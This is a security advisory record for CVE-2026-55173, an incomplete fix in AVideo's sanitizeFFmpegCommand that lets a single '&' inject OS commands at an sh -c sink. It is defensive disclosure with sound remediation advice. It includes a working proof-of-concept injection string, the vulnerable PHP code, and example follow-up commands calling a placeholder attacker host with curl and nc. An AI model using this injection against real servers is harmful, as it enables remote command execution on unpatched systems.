{"id":"CVE-2026-55173","title":"AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink","summary":"AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink","severity":"high","cvss":8.1,"cwe":["CWE-78"],"vendor":"wwbn","product":"wwbn/avideo","ecosystem":"composer","affected":["wwbn/avideo <= 29.0"],"published":"2026-06-23","updated":"2026-06-23","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-wc3f-xc32-435f","references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f"},{"url":"https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f"},{"url":"https://github.com/advisories/GHSA-wc3f-xc32-435f"}],"tags":["ghsa","composer"],"ingestedAt":"2026-06-29T13:24:35.455Z","epss":0.03434,"epssPercentile":0.88425,"slug":"CVE-2026-55173","body":"## Overview\n\n### Summary\n\nThe fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that `sanitizeFFmpegCommand()` (`plugin/API/standAlone/functions.php`) failed to strip `$(...)` command substitution, allowing OS command injection at the `execAsync()` `sh -c` sink. The fix (commit `25c8ab90`) added `$`, `(`, `)`, `{`, `}`, `\\n`, `\\r` to the denylist character class and a `str_replace('&&', '', ...)`. It still does **not** neutralize a single `&` (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.\n\nVerified at master HEAD.\n\n### The surviving gap\n\nHEAD `sanitizeFFmpegCommand` (`functions.php`):\n```php\n$command = str_replace('&&', '', $command);                    // only the doubled form\n$command = preg_replace('/\\s*&?>.*(?:2>&1)?/', '', $command);  // strips '&' only when followed by '>'\n$command = preg_replace('/[;|`<>$()\\n\\r{}]/', '', $command);   // char class has no '&'\n// then requires the result to start with 'ffmpeg'\n```\nA single `&` is therefore preserved. `ffmpeg ... & <cmd>` passes the sanitizer and the `strpos(trim($command),'ffmpeg')===0` prefix gate.\n\n### Sink (unchanged)\n\n`plugin/API/standAlone/ffmpeg.json.php:418` -> `execAsync($ffmpegCommand, $keyword)`. In `objects/functionsExec.php::execAsync`:\n```php\n$command = addcslashes($command, '\"');   // line 686 — escapes only the double-quote\n$commandWithKeyword = \"nohup sh -c \\\"$command & echo \\\\$! > /tmp/$keyword.pid\\\" > /dev/null 2>&1 &\";  // line 705\nexec($commandWithKeyword, ...);          // line 712 — PHP exec() runs via /bin/sh -c\n```\nThe sanitized command is embedded inside an inner `sh -c \"...\"`. A bare `&` in `$command` separates commands for that inner shell, so the injected command executes. `addcslashes` escaping only `\"` does not stop `&`.\n\n### Reachability\n\n`ffmpeg.json.php` builds the command from `_decryptString(getInput('codeToExecEncrypted'))`. This is the **same** threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (`AV:N/AC:H/PR:N`).\n\n### Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)\n\nByte-faithful PHP harness: `sanitizeFFmpegCommand` copied verbatim from HEAD + the `execAsync` `sh -c` wrapping copied from `functionsExec.php`:\n```\nattacker input : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4\nafter sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4\nampersand survived : YES   passes prefix : YES\nfinal sh -c string:\n  nohup sh -c \"ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo $! > /tmp/testkw.pid\" > /dev/null 2>&1 &\n>> injected touch executed: YES (/tmp/avideo_amp_rce_proof)\n```\nThe sanitizer leaves `&` intact and the injected `touch` runs at the sink.\n\n### Impact\n\nArbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple `&`-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the `>` strip, but command execution (e.g. `& curl http://attacker/...`, `& nc ...`, dropping/running a file) is not.\n\n### Remediation\n\nStop applying a metacharacter denylist to a `sh -c` sink. Build the ffmpeg invocation as an argv array with `escapeshellarg()` per token (the project already uses `escapeshellarg()` at 137 sites) instead of interpolating `$command` into `sh -c \"...\"`. If the denylist is kept as defense-in-depth, add `&` to the stripped set — but the denylist approach has now missed two metacharacters in a row (`$()` then `&`).\n\n## Affected packages\n\n- `wwbn/avideo <= 29.0`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":44.6,"likelihood":0.7,"exploitation":0,"ransomware":0},"changes":[]}